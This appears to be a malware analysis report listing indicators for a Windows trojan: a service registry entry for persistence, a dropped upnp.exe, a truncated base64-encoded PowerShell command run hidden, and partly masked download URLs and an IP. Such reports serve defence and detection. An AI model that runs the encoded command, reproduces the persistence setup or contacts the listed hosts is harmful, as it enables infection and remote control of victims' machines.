Technical Information
- [<HKLM>\System\CurrentControlSet\Services\upnp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\upnp] 'ImagePath' = '"%WINDIR%\SysWOW64\input\upnp.exe"'
- 'upnp' "%WINDIR%\SysWOW64\input\upnp.exe"
- 'upnp' %WINDIR%\SysWOW64\input\upnp.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAEsAWQBYAEcAdQBoAHIAPQAnAFUAUgBCAEgAQwBzAHkAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAFIAYABpAHQAYAB5AGAAUABgAFIAbwBUAG8AYwBgAE8AbAAiAC...
- %HOMEPATH%\679.exe
- %WINDIR%\syswow64\input\upnp.exe
- from %HOMEPATH%\679.exe to %WINDIR%\syswow64\input\upnp.exe
- '20#.#35.10.215':80
- http://ye###ner.com/old/iyv0hf8926444/
- http://20#.#35.10.215/2LCYok8EkGdKit/3m9EQGEcCpQaE2rzp/DscydoRWFk/DDe2WZj/2eOluXKSZQI/
- DNS ASK ye###ner.com
- '%HOMEPATH%\679.exe'
- '%WINDIR%\syswow64\input\upnp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAEsAWQBYAEcAdQBoAHIAPQAnAFUAUgBCAEgAQwBzAHkAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAFIAYABpAHQAYAB5AGAAUABgAFIAbwBUAG8AYwBgAE8AbAAiAC...' (with hidden window)